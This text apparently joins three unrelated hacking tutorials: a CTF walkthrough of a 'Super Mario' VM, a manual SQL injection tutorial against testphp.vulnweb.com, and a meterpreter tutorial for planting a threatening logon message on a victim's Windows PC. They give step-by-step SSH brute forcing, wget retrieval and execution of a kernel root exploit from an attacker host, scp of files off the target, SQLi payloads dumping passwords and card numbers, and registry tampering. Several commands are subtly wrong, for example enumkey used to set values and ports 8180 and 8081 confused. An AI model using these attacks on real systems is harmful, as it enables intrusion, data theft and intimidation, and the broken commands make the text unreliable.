Hack the Super Mario (CTF Challenge)

Hello friends!! Might you people have played THE SUPER MARIO game once in your childhood and no wonder if a thought have been strike in your mind to hack the game. So whatever you had thought today we are going to make it true and for that you guys need to download the new VM machine for super Mario from here.

The credit for developing this VM machine is goes to Mr_h4sh who has hide 2 flag inside this lab as a challenge for hackers. The level of the challenge is Intermediate.

Let’s breach!!!

As you know we always start with enumeration, therefore open the terminal in your kali Linux and go for aggressive scan with nmap.

Nmap –p- -A 192.168.0.5

Since port 22 and port 8180 for service SSH and HTTP respectively therefore I choose port 8081 for enumeration but from screenshot you can see I didn’t get any remarkable result.

Dirb http://192.168.0.5:8180

Then I move for directory brute force attack using following command

Dirb http://192.168.0.5:8180 /usr/share/wordlists/dirb/big.txt

In the given below screenshot you can read it has shown a file name vhosts, let’s explore it through browser.

Now explore vhost in URL as  http://192.168.0.5:8180/vhosts here vhosts stand for virtual host it is method for hosting multiple domain on a single server. From inside Vhosts I came know the Server Name is mario.supermariohost.local  

Let’s add mario.supermariohost.local into /etc as new localhost

Cd etc

Vim hosts

Now type “192.168.0.5 mario.supermariohost.local” inside the vim editor to add it in the /etc/host and after then type wq to save it.

Now Type Cat hosts to check added host name Hence you from screenshot you can see it has been had added inside it successfully.

Then I visit mario.supermariohost.local on browser and finally got Mario as browser game but it is not working.

Since we know port 22 and 8081 was open and we didn’t get much information from enumeration of port 8081. Now we will move towards port 22 for SSH enumeration therefore I had prepared a dictionary in order to retrieve credential to login inside SSH server. 

Dictionary contains username which was the famous character of MARIO, you can check these name from Google also.

Inside text editor type following name: Mario; luigi; peach; toad; yoshi and save file as user on desktop.

Use john the ripper to generate dictionary of password using following command here –rules will enable the wordlist and --stdout will define a fix length of password to be generate on the desktop as pass.

John –wordlist : user –rules –stdout > pass

Finally we have username dictionary as user and password dictionary generated by john as pass, now we have to match perfect combination of user and pass in order to retrieve credential for SSH login. I had chosen hydra for password cracking, you can choose any other password cracking tool also.

Hydra –L user –P pass 192.168.0.5 ssh

From the given screenshot you read the matched combination of username: luigi and password: luigi1 for SSH server.

Now type following for SSH login

Ssh luigi@192.168.0.5

Password luigi1

Yeeppiii!!!!  Finally we have login inside SSH server.

Uname –a

Here we come to know that the version for linux  supermariohost 3.13.0; let’s checkout its exploit on Google.

Yes, there is an exploit for 3.13.0 overlayfs local root in ubuntu , download it from here inside your kali Linux.

Form screenshot you can see I have downloaded the exploit as Mario.c for privilege escalation. 

Now type following command for downloading Mario.c inside target system.

Wget http://192.168.0.6/mario.c

The file is successfully downloaded inside it now type another command to compile Mario.c

Gcc Mario.c –o mario

./Mario

Id

Cd/root

Ls

Awesome!!! We have got root privilege and from screenshot you can see inside its directory I have got zip file as flag.zip

Now type following command to download flag.zip on the desktop of your kali Linux

Scp /root/flag.zip root@192.168.0.6:/root/Desktop

Fcrackzip flag.zip –D –P /user/share/wordlist/rockyou.txt -u
As shown in given screenshot PASSWORD FOUND!!! : pw ==ilovepeach; now you can unzip your file using this password.

Unzip flag.zip

It will ask for password, give above password to unzip it and again if you notice the given image it contains flag.txt

Cat flag.txt

1^st FLAG: Well done: D If you reached this it means you got root, congratulations.

Now follow the given below step in order to complete another challenge.

Iptables –L

Here from screenshot you can see a new network has been added on remote system.

Arp –n

Now the target system has been forwarded on a new IP 192.168.122.112

Ls -la

Found a directory .bak

Cd /.bak

Ls

Cd users

Cd luigi

Ls

There are two files inside it let’s read them one by one

Cat message

Hi Luigi,

Since you've been messing around with my host, at this point I want to return the favour.

This is a "war", you "naughty" boy!

Cat id_rsa.pub

The highlighted word in the given text may appear like a username for login into SSH server.

Let ensure by login into ssh -i id_rsa warluigi@192.168.1.122.112

Great!! All assumption had given positive result

Again check for kernel version

Uname -a

Woooww!! It is same version now we can use our Mario.c exploit for root privilege. Hence repeat the above step as shown in images.

Wget http://192.168.0.6/maio.c

The file is successfully downloaded inside it now type another command to compile Mario.c

Gcc Mario.c –o Mario

./Mario

Id

Cd /root

Ls –la

Here I found two important files 1^st hint.txt 2^nd flag2.zip before going for unzip flag.zip we must look towards hint.txt file.

Cat .hint.txt

“Peach Loves Me” it might be the password key for decrypting the flag2.zip file 

Now let download fla2g.zip on the desktop of kali Linux by using following again

Scp /root/flag2.zip root@192.168.0.6:/root/Desktop

Unzip flag2.zip

Now when it will ask for password key type “Peach Loves Me”

It contains flag2.txt inside type cat flag2.txt to open this file.

2^nd FLAG: Congratulations on your second flag!

  

Wonderful!!! We have caught both flags

Manual SQL Injection Exploitation Step by Step

This article is based on our previous article where you have learned different techniques to perform SQL injection manually using dhakkan. Today we are again performing SQL injection manually on a live website “vulnweb.com” in order to reduce your stress of installing setup of dhakkan.

We are going to apply same concept and techniques as performed in Dhakkan on different the platform

 Let’s begin!

Open given below targeted URL in the browser

http://testphp.vulnweb.com/artist.php?artist=1 So here we are going test SQL injection for “id=1

Now use error base technique by adding an apostrophe (‘) symbol at the end of input which will try to break the query.

http://testphp.vulnweb.com/artist.php?artist=1’

In the given screenshot you can see we have got error message which means the running site is infected by SQL injection.

Now using ORDER BY keyword to sort the records in ascending or descending order for id=1

http://testphp.vulnweb.com/artist.php?artist=1 order by 1

Similarly repeating for order 2, 3 and so on one by one

http://testphp.vulnweb.com/artist.php?artist=1 order by 2

http://testphp.vulnweb.com/artist.php?artist=1 order by 4

From screenshot you can see we have got error at order by 4 which means it consist only three records.

Let’s penetrate more inside using union base injection to select statement from different table.

http://testphp.vulnweb.com/artist.php?artist=1 union select 1,2,3

 From screenshot you can see it is show result for only one table not for others.

Now try to pass wrong input into database through URL by replacing artist=1 from artist=-1 as given below:

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,2,3

Hence you can see now it is showing the result for remaining two tables also.

Use next query to fetch the name of database

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,database(),3

From screen shot you can read the database name acuart

Next query will extract current username as well as version of database system

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,version(),cuurent_user()

Here we have retrieve 5.1.73 0ubuntu0 10.04.1 as version and acuart@localhost as current user

Through next query we will try to fetch table name inside the database

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1

from screenshot you can name of first table is carts.

Similarly repeat the same query for another table with slight change

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1

We got table 2: categ

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1

We got table 3: featured

Similarly repeat same query for table 4, 5, 6, and 7 with making slight changes in LIMIT.

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 7,1

We got table 7: users

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 8,1

Since we didn’t get anything when limit is set 8, 1 hence their might be 7 tables only inside the database.

concat function is use for concatenation of two or more string into single string.

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

From screen you can see through concat function we have successfully retrieve all table name inside the

database.

Table1: artist

Table2: Carts

Table3: Featured

Table4: Guestbook

Table5: Pictures

Table6: Product

Table7: users

May be we can get some important data from users table, so let’s penetrate more inside.  Again Use concat function for table users for retrieving its entire column names.

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,group_concat(column_name),3 from users

Awesome!!  We successfully retrieve all eight column names from inside the table users.

Then I have choose only four column i.e. uname, pass,email and cc for further enumeration.

Use concat function for selecting uname from table users by executing following query through URL

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,group_concat(uname),3 from users

From screenshot you can read uname: test

Use concat function for selecting pass from table users by executing following query through URL

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,group_concat(pass),3 from users

From screenshot you can read pass: test

Use concat function for selecting cc (credit card) from table users by executing following query through URL

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,group_concat(cc),3 from users

From screenshot you can read cc: 1234-5678-2300-9000

Use concat function for selecting email from table users by executing following query through URL

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,group_concat(email),3 from users

From screenshot you can read email: jitendra@panalinks.com

 Enjoy hacking!!

Hack Legal Notice Caption of Remote PC

Registry key play an important role in operating system attacker makes use of legal notice registry key to send threaten message on targeted system so that once the system is boot up the user can read the message that “your system has been hacked” which appears before login screen.

Through this article we are showing how an attacker sends threaten message on logon screen to the targeted users.

Let’s start

Attacker : Kali Linux

Target: window 7

Read our previous article how to hack windows 7 and get meterpreter session of victims, inside meterpreter there are so many options for post exploit now type following command to move inside registry key of the victim’s system

Meterpreter > Reg enumkey –k HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System

From screenshot you can observe that it contains 2 keys (Audit, UIPI) having 18 different values. The highlighting box is our targeted value.

i)                    Legalnoticecaption

ii)                   legalnoticetext

Now type another command for assigning the value of legalnoticecaption which is use for providing the title or heading of the given message on logon screen.

Meterpreter > Reg enumkey –k HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System –v legalnoticecaption –d “IMPORTANT MESSAGE”

From screenshot you can read our registry key is successfully set.

Now type one more command for giving warning message to the targeted system by assigning value of legalnoticetext which will display your message on logon screen of victim’s system.

Meterpreter > Reg enumkey –k HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System –v legalnoticetext –d “PWNED BY RAJ CHANDEL”

From screenshot you can read again our registry key is successfully set.

Here –k denote key; -V denote value; -d denote input data.

Now when the victim will start his system after then he will receive our message on logon screen as shown in given screenshot.

Try it yourself!!!
